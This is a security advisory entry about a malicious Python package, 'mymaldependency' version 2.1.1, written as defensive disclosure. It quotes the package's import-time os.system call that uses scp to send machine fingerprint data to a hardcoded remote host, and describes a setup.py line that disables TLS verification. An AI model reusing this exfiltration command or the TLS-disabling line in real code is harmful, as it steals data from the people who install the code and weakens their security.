mymaldependency

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (38372ffa2ec19cee68f769508d95ffb4f5c1878aeae058ce3e7a33b947d06cf1)
MyMalDependency_package/__init__.py executes on every import: it calls os.uname() and os.getcwd(), writes the results to./trans.txt in the installer's working directory, then invokes os.system('scp trans.txt Dell@192.168.129.164:E:\\download') to ship the file to a hardcoded remote host. This is a one-way exfiltration of installer machine fingerprint data combined with unconsented shell command execution at import time. setup.py additionally disables TLS certificate verification globally (ssl._create_default_https_context = ssl._create_unverified_context), weakening the installer's trust posture during install. Source comments ('#恶意的依赖项' — Chinese for 'malicious dependency') and a startup print ('start mal dependency') explicitly declare malicious intent. Metadata is placeholder (author '1', UNKNOWN fields, description 'test to create package'). Regardless of whether the hardcoded private-range destination IP is currently reachable, the code pattern constitutes active attack behavior against anyone who imports the package.

Compromised versions (1)

• 2.1.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.